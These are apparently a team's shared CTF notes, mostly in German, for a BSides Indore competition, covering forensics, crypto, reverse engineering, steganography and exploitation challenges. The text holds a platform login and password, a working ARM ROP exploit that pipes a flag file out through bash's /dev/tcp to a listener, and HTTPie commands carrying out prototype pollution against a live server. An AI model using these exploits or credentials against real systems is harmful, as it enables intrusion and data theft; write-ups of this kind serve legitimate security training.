- url http://ctf.bsidesindore.in (http://34.93.227.31)
- username
cccac
- password:
4f1e4cc31ae3c008edcb7d759acafacb
## $Challenge Name
Take notes here / Describe steps how to reproduce results.
Template:
:::success
FLAG{Paste_The_Flag_Here!}
:::
windows event log (security) durch gucken
Template:
:::success
FLAG{BSidesIndore{6_8/23/2022_10:56:09AM}}
:::
Erste Nachricht im Discord.
:::success
FLAG{BSidesIndore{mogaMb00_w3lcOmeS_y0u_to_CTF!!!}}
:::
Mit einem Buchstaben anfangen und immer einen mehr abschicken. Zu kurz -> Fehlermeldung, zu lang -> kryptischer Text, korrekte Länge -> Flag
:::success
FLAG{BSidesIndore{br4v0_y0u_cr4ck3d_17}}
:::
:::info
The Serialization Snafu chall flag format: BSidesIndore{some hash looking value}
:::
Beim Besuch der Seite wird exakt ein Cookie gesetzt:
name: profile
value: eyJ1c2VybmFtZSI6IkFiaGluYW5kYW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0%3D
Ist URL-Base64 für:
{"username":"Abhinandan","country":"india","city":"bangalore"}
Den Cookie-Wert durch etwas zu ersetzen, das kein b64-url-encoded JSON ist, führt zu Stack Traces wie dieser:
SyntaxError: Unexpected end of JSON input
at JSON.parse (<anonymous>)
at exports.unserialize (/home/ctf-player/app/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/ctf-player/app/index.js:15:25
at Layer.handle [as handle_request] (/home/ctf-player/app/node_modules/express/lib/router/layer.js:95:5)
at next (/home/ctf-player/app/node_modules/express/lib/router/route.js:144:13)
at Route.dispatch (/home/ctf-player/app/node_modules/express/lib/router/route.js:114:3)
at Layer.handle [as handle_request] (/home/ctf-player/app/node_modules/express/lib/router/layer.js:95:5)
at /home/ctf-player/app/node_modules/express/lib/router/index.js:284:15
at Function.process_params (/home/ctf-player/app/node_modules/express/lib/router/index.js:346:12)
at next (/home/ctf-player/app/node_modules/express/lib/router/index.js:280:10)
Den Cookie-Wert durch ein b64-url-encoded JSON mit manipuliertem username zu ersetzen, führt nur zu anderem Namen im HTML. Land passt nicht zu Stadt hilft auch nicht.
Arbitrary Code Execution ist schon dokumentiert: luin/serialize#4 🤡
Challenge wurde aufgrund technischer Probleme zurückgezogen!
Irgendein memdump...
Volatility Foundation Volatility Framework 2.6.1
Reading the USBSTOR Please Wait
Found USB Drive: 7&22ac07da&0
Serial Number: 7&22ac07da&0
Vendor: USB
Product: Flash_DIsk
Revision: 1100
ClassGUID: Flash_DIsk
ContainerID: {58701419-2125-11ed-8de2-50eb71124999}
Mounted Volume: \??\Volume{5870141d-2125-11ed-8de2-50eb71124999}
Drive Letter: \DosDevices\E:
Friendly Name: USB Flash DIsk USB Device
USB Name: Unknown
Device Last Connected: Unknown
Class: DiskDrive
Service: disk
DeviceDesc: @disk.inf,%disk_devdesc%;Disk drive
Capabilities: 0
Mfg: @disk.inf,%genmanufacturer%;(Standard disk drives)
ConfigFlags: 0
Driver: {4d36e967-e325-11ce-bfc1-08002be10318}\0001
Compatible IDs:
USBSTOR\Disk
USBSTOR\RAW
HardwareID:
USBSTOR\DiskUSB_____Flash_DIsk______1100
USBSTOR\DiskUSB_____Flash_DIsk______
USBSTOR\DiskUSB_____
USBSTOR\USB_____Flash_DIsk______1
USB_____Flash_DIsk______1
USBSTOR\GenDisk
GenDisk
Windows Portable Devices
--
FriendlyName: CROWDSEC
Serial Number: 7&22AC07DA&0
Last Write Time: 2022-08-21 07:56:05 UTC+0000
solved
Extrems ineffiziente (aka nicht in Lebzeiten durchlaufbar) angeblich DiffieHellman - mal prüfen ob das überhaupt tatsächlich DiffieHellman macht.
compose_f()
macht ungefähr pow()
, aber auch nicht richtig. Mit durch pow()
ersetzen schlägt das assert fehl. a
und b
werden wärend f()
sowohl in g
als auch in A
bzw. B
eingesetzt. g
ist sehr sicher kein primitive root.
compose_f(z, n) = loop n-mal: z=f(z); f=(a * z + b) % p
z, a, b, p known, n secret to be known
compose_f(z, 1) = (a*z+b)%p
compose_f(z, 2) = (a^2*z+a*b+b)%p
compose_f(z, 3) = (a^3*z+a^2*b+a*b+b)%p = (a^3*z + b*(a^2+a+1))%p
compose_f(z, 4) = (a^4*z + b*(a^3+a^2+a+1))%p
Frage: geschlossene form für compose_f()?
Geschlossene Form:
Python:
# performed für große Zahlen schlecht
def compose_f(z, n):
return (pow(a,n,p)*z+b*(pow(a,n)-1)//(a-1))%p
Bringt uns das jetzt was? :D
Diverse Termumformungen sind bisher zu keinem Ergebniss gekommen...
Kommentar rep: funktioniert zumindest damit zu rechnen, aehnlich extended euklid
def compose_addend(n):
out = b
n=int(n/2)
while n:
out = (out * (pow(a, n, p) +1)) % p
n=int(n/2)
return out
def compose_ff(z, n):
if n == 0: return z
nextlowerpower = 2**math.floor(math.log(n, 2))
rest = n % nextlowerpower
return (pow(a, nextlowerpower, p) * compose_ff(z, rest) + compose_addend(nextlowerpower)) % p
habs aber trotzdem nicht geschafft.... :/
Buffer Overflow - No PIE
tl;dr: https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
Buffer overflow, but all fps are closed before return
#!/usr/bin/env python3
import socket
import struct
def rop(addr):
return struct.pack("<I", addr)
HOST = "127.0.0.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 2222))
r = s.recv(1024)
print(r)
input("Press key")
payload = b"A"*32 + b"B"*4
#0x00047918 : mov r2, r8 ; blx r3
ropchain = rop(0x17964+1) #mov r0, r8
ropchain += b"A"*0x34 #add sp, sp, 0x34
ropchain += b"B"*4 #r4
ropchain += b"C"*4 #r5
ropchain += b"D"*4 #r6
ropchain += b"E"*4 #r7
ropchain += b"F"*4 #r8
ropchain += b"G"*4 #r9
ropchain += rop(0x00044070+1) #pc pop {r1, r2, r4, pc}
ropchain += rop(2) #r1 O_RDWR
ropchain += b"B"*4 #r2
ropchain += b"B"*4 #r4
ropchain += b"Z"*4 #pc
payload += ropchain + (368-len(ropchain))*b"Z" + b"/dev/tty\0"
s.sendall(payload)
Working ROP chain with remote code execution and connection to server. This solved the challenge
#!/usr/bin/env python3
from pwn import *
context.binary = "./main_fixed"
# rops
rop_mov_r0_r6_t_adr = 0x00010d2c # ; mov r0,r6 / pop {r4, r5, r6, pc}
rop_add_r0_r4_t_adr = 0x0001fd74 # ; add r0, r4 / pop {r4, pc}
rop_pop_lr_t_adr = 0x00045f5a # ; pop.w {r4, lr} / nop.w / pop {r4, pc}
rop_ror_r0_t_adr = 0x0001db28 # ; rors r0, r6 / bx r3
rop_mov_r1_r0_t_adr = 0x0001eb0e # ; movs r1, r0 / bx lr
rop_add_r1_r3_b_t_adr = 0x0003de3e # add r1, r3 / blx r1
rop_set_r3_t_adr = 0x00014c28 # ; pop {r3, pc}
rop_system_t_adr = 0x00014c10 # system
rop_exit_t_adr = 0x00014358 # exit fkt
location_bin_sh = 0x0004b004 # string "/bin/sh"
location_date = 0x0004ab60 # string "date +'%s'"
def build_add_r0_r4_t(r4=0):
payload = p32(rop_add_r0_r4_t_adr + 1)
payload += p32(r4)
return payload
def build_lr(lr, r4=0):
payload = p32(rop_pop_lr_t_adr + 1)
payload += p32(0) + p32(lr) + p32(r4)
return payload
def build_mov_r0_r6_t(r4=0, r5=0, r6=0):
payload = p32(rop_mov_r0_r6_t_adr + 1)
payload += p32(r4) + p32(r5) + p32(r6)
return payload
# config of command
addr, port = ("localhost", 8337) # our server
cmd = "cat /home/ctf/flag.txt"
cmd_net_wrap = f"bash -c \"{cmd} >/dev/tcp/{addr}/{port}\""
print("cmd:", cmd_net_wrap)
cmd_net_wrap = cmd_net_wrap.encode("ascii")
# build payload
# all instructinos here have a +1 as that indicates thumb mode for
# arm. It does seem that switching to thumb requires special instructions,
# but switching out of it is possible with write to $pc
def build_payload():
# padding until pc
payload = b"0" * 0x20
payload += b"1" * 4 # r7
# move r6 to r0 and set r4 with r6
# - r6 contains a reachable offset on the stack from our $sp
# - r6 is used for right shift
# - r4 is an arbitrary offset to allow more rop stack until our "data" section
payload += build_mov_r0_r6_t(r4=40, r6=8)
# move our "data" section by r4 steps on the stack
payload += build_add_r0_r4_t()
# this is so cursed, the idea is to have the application fail with
# a signal (e.g. illegial instruction) when the system call didn't exit with
# a zero return code. In case system was successful we shutdown gracefully.
# as system is stack canary protected, we can't call into it.
# As such we need to conform to arm calling convetion and set the lr register appropriately
payload += build_lr(rop_set_r3_t_adr + 1)
# input of system() is the command. See below
payload += p32(rop_system_t_adr + 1)
payload += p32(rop_set_r3_t_adr + 1)
payload += p32(rop_ror_r0_t_adr + 1)
payload += p32(rop_exit_t_adr + 1)
payload += p32(rop_pop_lr_t_adr + 1)
payload += p32(0) + p32(rop_add_r1_r3_b_t_adr + 1) + p32(0)
payload += p32(rop_mov_r1_r0_t_adr + 1)
# Order of execution
# 1. rop_system_t_adr
# 2. rop_set_r3_t_adr
# - set r3 to rop_set_r3_t_adr
# 3. rop_ror_r0_t_adr
# - r0 >> 8
# - jmp to r3
# 3. rop_set_r3_t_adr
# - set r3 to rop_exit_t_adr (graceful shutdown)
# 4. rop_pop_lr_t_adr
# - set lr register to rop_add_r1_r3_b_t_adr
# 5. rop_mov_r1_r0_t_adr
# - set r1 to r0[our exit code]
# 6. rop_add_r1_r3_b_t_adr
# - add r1 to r3
# - jump to r3
# -> if r0 = 0: r3 = rop_exit_t_adr
# -> if r0 != 0: r3 will be bricked
#
# this is ofc not a perfect solution, but it works for most errors
print(len(payload)) # just a small bounds check
# fill the remaining space so that our command is put into it correctly
payload += b"0" * ((40 + 40) - (len(payload) - 0x20))
payload += cmd_net_wrap + b"\x00" # command as null terminated string
print(f"Payload Length: {len(payload)}")
# our rop stack cannot be to large, as we will overwrite important
# data that is needed for system call (i.e. dump of env variables).
# The address is 340 bytes from our initial $sp
assert(len(payload) < 340)
return payload
payload = build_payload()
with open("/local-tmp/payload", "bw") as fp:
fp.write(payload)
if True:
r = remote("34.125.56.151", 2222, ssl=False)
r.sendline(payload)
r.interactive()
exit()
#io = gdb.debug(context.binary.path, gdbscript="""
#source /home/elizabeth/Documents/Projects/ccc/ctfriday-bsidesindore23/pwndbg/gdbinit.py
#b *0x00021dac
#b *0x010488
#b *0x00014c10
#c
#""")
io = process(context.binary.path)
io.sendline(payload)
io.interactive()
execute it with to gain shell
main 2>&1 < payload
Decompilen mit Ghidra, bennennen von Stuff, Types assignen, etc.
Gibt alle 5s nen String aus in der Richtung von "go away" (genauer String ist random).
Flag liegt mit nem key ge-XOR-ed in .data
bei Adresse 0x001043c0 / .data + 0x3c0
.
Der Key wird aus der Determinante einer 15x15-int-Matrix abgeleitet.
Die Berechnung der Determinante ist allerings Broken (Matrix wird ohne reservierten Platz auf dem Stack abgelegt und dann überschrieben).
Die Matrix kann man sich aus dem Speicher kopieren, bei Adresse 0x00104020 als unsigned int-Array.
Daraus kann man sich den Key generieren. Die Original-Funktion dafür liegt im Binary bei 0x001015bc. Ghidra-Dekompilat:
void decrypt_flag(ulong matrix_determinant)
{
long in_FS_OFFSET;
uint i;
uint key [6];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
key[5] = (uint)(matrix_determinant & 0xff000000ff);
key[4] = (uint)(matrix_determinant >> 8) & 0xff;
key[3] = (uint)(matrix_determinant >> 0x10) & 0xff;
key[2] = (uint)(matrix_determinant >> 0x18) & 0xff;
key[1] = (uint)((matrix_determinant & 0xff000000ff) >> 0x20);
key[0] = (uint)((long)matrix_determinant >> 0x28) & 0xff;
for (i = 0; i < 33; i = i + 1) {
putchar(key[(int)i % 6] ^ (&ENCRYPTED_FLAG)[(int)i]);
}
putchar(L'\n');
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Wir haben den gesamten Algorithmus in Python neu implementiert:
Python-Script:
import numpy as np
from ctypes import c_uint64, c_int32, cast, POINTER
raw_matrix = [3,9,2,9,8,6,9,7,7,4,0,2,2,8,9,3,2,8,1,6,0,6,3,2,5,7,4,9,0,3,7,1,0,3,5,9,1,4,6,8,5,0,7,1,8,8,1,3,9,2,5,2,7,0,9,8,3,7,3,0,6,2,0,5,3,6,7,6,3,6,1,1,5,5,9,6,3,0,3,9,1,7,0,4,7,1,2,4,4,2,1,4,7,8,6,6,4,1,9,5,4,3,4,4,2,9,1,9,4,0,3,7,8,3,3,3,1,5,9,5,4,3,2,0,8,4,4,8,2,1,9,8,1,6,9,6,2,0,9,4,8,9,8,9,2,5,8,6,5,4,0,2,0,7,4,4,4,3,9,8,3,5,7,3,7,9,5,0,2,2,3,4,6,5,9,9,7,6,8,8,5,7,6,7,3,9,2,0,7,2,5,3,2,1,5,3,7,1,8,8,2,2,2,6,9,0,4,8,4,4,0,0,3,1,9,4,2,2,5,2,0,2,4,7,6]
matrix = np.array(raw_matrix, dtype=np.uint64)
matrix = np.reshape(matrix, (15, 15))
print(matrix)
matrix_determinant = cast(
cast((c_uint64 * 1)(int(np.linalg.det(matrix))), POINTER(c_int32)),
POINTER(c_uint64),
).contents.value
print(matrix_determinant)
key = [0] * 6
ENCRYPTED_FLAG = bytes.fromhex(
"7d 00 00 00 9c 00 00 00 73 00 00 00 b4 00 00 00 0c 00 00 00 8e 00 00 00 4e 00 00 00 99 00 00 00 71 00 00 00 e0 00 00 00 0b 00 00 00 9e 00 00 00 63 00 00 00 d8 00 00 00 75 00 00 00 ef 00 00 00 50 00 00 00 a3 00 00 00 20 00 00 00 de 00 00 00 42 00 00 00 f4 00 00 00 4d 00 00 00 8c 00 00 00 22 00 00 00 df 00 00 00 42 00 00 00 e1 00 00 00 4d 00 00 00 92 00 00 00 30 00 00 00 8c 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
)
key[5] = matrix_determinant & 0xFF000000FF
key[4] = (matrix_determinant >> 8) & 0xFF
key[3] = (matrix_determinant >> 0x10) & 0xFF
key[2] = (matrix_determinant >> 0x18) & 0xFF
key[1] = (matrix_determinant & 0xFF000000FF) >> 0x20
key[0] = (matrix_determinant >> 0x28) & 0xFF
print("BSidesIndore{", end="")
for i in range(33):
print(chr((key[i % 6] ^ ENCRYPTED_FLAG[i * 4]) & 0xFF), end="")
print("}")
:::success
BSidesIndore{l1n34r_4lg3bruhhh_1s_sup3r_fun!!!}
:::
base = Decimal('1.582865...')
mod = Decimal('2.622057...')
new_base = (base * n + small_noise()) % mod
new_base == Decimal('-0.8476...')
- wir müssen
n
finden (key für AES) - da
new_base
negativ ist, muss$small_noise() < -(base * n)$ sein -
n
ist ein großer (16 byte urandom) integer$0 < n < 340282366920938463463374607431768211455$ -
base
,mod
, undnew_base
sind bekannt und sind python decimals -
%
ist leicht anders als bei integern/floats (bzgl Vorzeichen) - die decimal precision is mindestens auf 298 gesetzt (
getcontext().prec = 298
) - es wird AES ECB benutzt, das ist aber vermutlich™ nicht relevant (keine doppelten blöcke)
- name der challenge vermutlich ein hint?
In der change_name()
func:
das strncpy bei 0x00001d3a
schreibt den neuen namen und überschreibt dabei den alten namen und zwar wie folgt: strcpy(old_name, new_name, new_length)
, das dritte argument sollte aber old_length
sein. Damit können wir, wenn wir einen neuen namen geben, den alten überschreiben und dahinter noch eventuell nen bissl memory corrupten
Die dekompilierte Funktion (renamed vars) sieht so aus:
pwntools draft (ich habe nicht so richtig ahnung was ich tue):
valgrind tests:
┌──(user㉿kali)-[~/Downloads]
└─$ valgrind ./airport_system
==84032== Memcheck, a memory error detector
==84032== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==84032== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
==84032== Command: ./airport_system
==84032==
<<<<<<<<<< CJ Airport System >>>>>>>>>>
1) Add airport
2) Add connection
3) Change airport name
4) Lockdown
5) List of available airport
6) List of connections
7) Exit
Choice: 1
Airport name:
a
1) Add airport
2) Add connection
3) Change airport name
4) Lockdown
5) List of available airport
6) List of connections
7) Exit
Choice: 3
Airport name:
a
Airport new name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
==84032== Invalid read of size 1
==84032== at 0x4847698: strcmp (vg_replace_strmem.c:924)
==84032== by 0x109CF8: change_name() (airport_system.cpp:82)
==84032== by 0x10AA4C: menu() (airport_system.cpp:185)
==84032== by 0x10AAAD: main (airport_system.cpp:200)
==84032== Address 0x4d78151 is 0 bytes after a block of size 1 alloc'd
==84032== at 0x48407B4: malloc (vg_replace_malloc.c:381)
==84032== by 0x10A773: add_airport() (airport_system.cpp:160)
==84032== by 0x10AA28: menu() (airport_system.cpp:181)
==84032== by 0x10AAAD: main (airport_system.cpp:200)
==84032==
==84032== Invalid write of size 1
==84032== at 0x4846A78: strncpy (vg_replace_strmem.c:599)
==84032== by 0x109D3E: change_name() (airport_system.cpp:83)
==84032== by 0x10AA4C: menu() (airport_system.cpp:185)
==84032== by 0x10AAAD: main (airport_system.cpp:200)
==84032== Address 0x4d78151 is 0 bytes after a block of size 1 alloc'd
==84032== at 0x48407B4: malloc (vg_replace_malloc.c:381)
==84032== by 0x10A773: add_airport() (airport_system.cpp:160)
==84032== by 0x10AA28: menu() (airport_system.cpp:181)
==84032== by 0x10AAAD: main (airport_system.cpp:200)
==84032==
Given image:
Has more data than image height:
BSidesIndore{H3y
Forensically's noise analysis shows a sus grid pattern (possibly just JPEG artefacts?):
Get RGB LSBs:
from PIL import Image
img = Image.open('orig.png')
p = img.load()
for row in range(img.height):
for col in range(img.width):
r,g,b,a = p[col,row]
print(r % 2, end='')
print(g % 2, end='')
print(b % 2, end='')
0110010101010100010000100011000101011000001100100101100101110111011001000101011100110101011010110101100000110010001100000111101001001001010100110100010101101000010010010101001101000101011010000100100101010011010001010110100001001001010110000011000011100101001111101100100000000100101101010101010000001111111011000000000101000010000001001000101001101000111001000100100000000000000001100011110100100000...
Cybershef from binary + from base64:
y0u_f0und_m3!!!!!!!!!!}���
:::success
BSidesIndore{H3y_y0u_f0und_m3!!!!!!!!!!}
:::
In der einen index.js
haben sie ==
statt ===
genutzt (sie haben überall sonst ===
genutzt, das fällt schon hart auf).
if (credential.cookie == receivedCookie) {
https://hackerone.com/reports/430831
index.js:58
Achtung: es gibt isLogedin
und isLoggedin
!
-
Die currency exchange Seite ist eine Ablenkung ohne Funktionalität.
-
Die Accountdaten auf der Profilseite sind hardcoded, eine Profilzuordnung passiert (soweit ich bisher sehe) nicht.
In der index.js findet sich diese Zeile:
const credentials = [
'{"username":"manager", "password": "' + crypto.randomBytes(64).toString("hex") + '", "cookie": "' + crypto.randomBytes(64).toString("hex") + '", "manager":true}',
'{"username":"accountant", "password":"accountant", "cookie": "' + crypto.randomBytes(64).toString("hex") + '"}'
];
Auffällig daran ist, dass die Cookies nicht nach erfolgreichem Login generiert werden, sondern im Voraus für beide Benutzer ein unterschiedlicher.
-
Die Funktion
verifyLogin
gibttrue
zurück, solange der Cookie "token" einen Wert hat, ist also de facto kein Hindernis. -
Die Funktion
verifyCookie
gibttrue
zurück, solange der Cookie "token" mit irgendeinem Benutzer übereinstimmt. -
Die Funktion
verifyManager
gibt dann, wenn der Cookie "token" mit dem eines Benutzers übereinstimmt,[credentials.manager, credentials.id]
zurück, andernfallsfalse
.credentials.manager
ist im gegebenen Code gesetzt,credentials.id
hingegen nicht.
Für die Challenge wichtig ist verifyManager
. Es muss ein POST-Request mit id=credentials.id
an die Route /buy-flag
gesendet werden.
router.post("/buy-flag", urlencodedParser, async (req, res) => {
var isLoggedin = verifyLogin(req);
if (isLoggedin) {
// ID aus Request Body
const id = req.body.id;
if (!id) {
return res.status(400).json({ error: "Invalid ID" });
}
// verifyManager[0] muss truthy sein
if (verifyManager(req.cookies.token)[0]) {
// ID muss mit der ID der Manager-Credentials übereinstimmen. Actung: == könnte relevant sein!
if (verifyManager(req.cookies.token)[1] && id == verifyManager(req.cookies.token)[1]) {
res.json({ flag: "BSidesIndore{fake_flag}" });
} else {
res.send("<script>alert('Invalid ID!')</script>");
}
} else {
res.send("<script>alert('Only Manager can perform this action!')</script>");
}
} else {
securityIncident(req.body, isLoggedin);
return res.status(403).json({ error: "Unauthorized Action" });
}
});
Beim Benutzer "accountant", dessen Passwort wir kennen, ist das Attribut "manager" in den credentials (s.o.) nicht definiert.
Mithilfe der Prototype Pollution von .extend()
(s.o.) können wir die notwendigen Attribute {"manager": true, "id": TBD}
auf allen Objekten setzen.
Das Attribut manager
wird als erstes Element des Arrays von verifyManager()
zurückgegeben, das Attribut id
als zweites. Wir müssen also dafür sorgen, dass manager
truthy ist und id
== req.body.id
.
mit HTTPie:
# Aktuellen `cookie` von `accountant` herausfinden:
http -v POST http://35.232.108.81/signin username=accountant password=accountant
# zurückgegebenen Cookie `token` kopieren
# Ohne Login/Cookie, damit die Prototype Pollution funktioniert:
http POST http://35.232.108.81/buy-flag __proto__:='{"manager": true, "id": 5}'
# accountant ist jetzt manager, wenn die id passt:
http POST http://35.232.108.81/buy-flag id:="5" Cookie:token=<token>
:::success
BSidesIndore{P0LLUT10N_1$_3V3RYWH3R3}
:::